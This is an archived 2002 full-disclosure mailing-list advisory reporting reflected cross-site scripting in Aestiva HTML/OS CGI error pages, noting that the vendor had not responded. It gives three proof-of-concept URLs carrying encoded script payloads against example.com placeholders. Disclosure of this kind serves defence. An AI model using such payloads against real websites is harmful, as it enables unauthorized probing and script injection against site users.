Cross-Site Scripting in Aestiva's HTML/OS

From: eaxat_private
Date: Tue Sep 03 2002 - 13:08:14 PDT

Next message: Paul Szabo: "[Full-Disclosure] Re: Compaq mount patch broken"

Previous message: secureat_private: "[CLA-2002:522] Conectiva Linux Security Announcement - mailman"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

"Aestiva HTML/OS is a high-performance database engine and development suite for building advanced web sites and web-based software products."

SUMMARY:

The Aestiva HTML/OS CGIs appear vulnerable to XSS due to poor error
reporting (no metacharacter filtering).

Anything you want can be appended to any URL ending in '/' in an area of
the website where HTML/OS is handling the request.  The resulting error message
will echo back the unfiltered request.


EXAMPLES:

I'll refrain from listing real-world examples (s/www.example.com/<target>/):

http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E

Thousands of websites are currently vulnerable according to Google, including
Aestiva.com.


VENDOR STATUS:

Has been notified but has not responded.

-------------------------------------------------------------------------------
eax / 3xT

Next message: Paul Szabo: "[Full-Disclosure] Re: Compaq mount patch broken"
Previous message: secureat_private: "[CLA-2002:522] Conectiva Linux Security Announcement - mailman"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Tue Sep 03 2002 - 14:13:21 PDT